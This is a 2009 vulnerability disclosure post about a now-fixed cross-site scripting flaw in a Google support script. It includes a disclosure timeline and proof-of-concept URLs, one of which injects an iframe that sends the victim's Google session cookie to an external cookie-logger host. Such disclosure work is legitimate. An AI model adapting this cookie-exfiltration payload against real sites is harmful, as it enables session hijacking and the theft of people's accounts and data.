Universal XSS in all Google Services

[Inferno@xxxxxxxxxxxxxxxxxx]

Universal XSS Vulnerability in all Google Services can compromise your personal 
information
May 8th, 2009

Vulnerability Reported: 04/18/2009 9.33 pm
Google?s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday 
:))
Vulnerability Fixed: 05/05/2009 7.05 pm
Change Propogated: 05/07/2009 3.19 pm

I recently reported a cross-scripting flaw to Google, which is now fixed. The 
vulnerability existed in Google?s Support Python Script where a malicious url 
is not sanitized for XSS character ? (single quote) before putting inside 
javascript variable logURL. As a result, it was possible to break the 
encapsulation of the var declaration and execute arbitary javascript commands 
on the main Google.com domain.

The only limitation was the following characters were either filtered out or 
url encoded - ? (double quote) < > (space) { }. However, this protection could 
be easily circumvented. I was able to write javascript statements to steal the 
session cookies [since characters such as ' ; . ( ) / = + were still available] 
and send it to my evil website. See the example given below.

Your Google.com domain cookie is the central Single Sign-On cookie to all 
google services. Once anyone gets it, he or she can use it to

1. Steal your emails.
2. Steal your contacts.
3. Steal your documents.
4. Steal your code.
5. Steal your sites.
6. Steal your website analytics.
7. Backdoor your iGoogle Homepage with malicious gadgets.
?. and there should be still some more things remaining that you can play with.

Simple Proof of Concept Code that displays your Google.com cookie in an alert 
box:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src=cb&lev=index

More real-world example where an attacker will silently transfer your 
Google.com cookie to his or her evil site:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index

I would like thank the Google Security Team for their prompt responses and 
fixing this serious issue in a timely manner. If you think Google took a long 
time in fixing this vulnerability, think again. This python script is used in a 
lot of places. Try this Google Dork to see the usage of this script in almost 
all Google Services.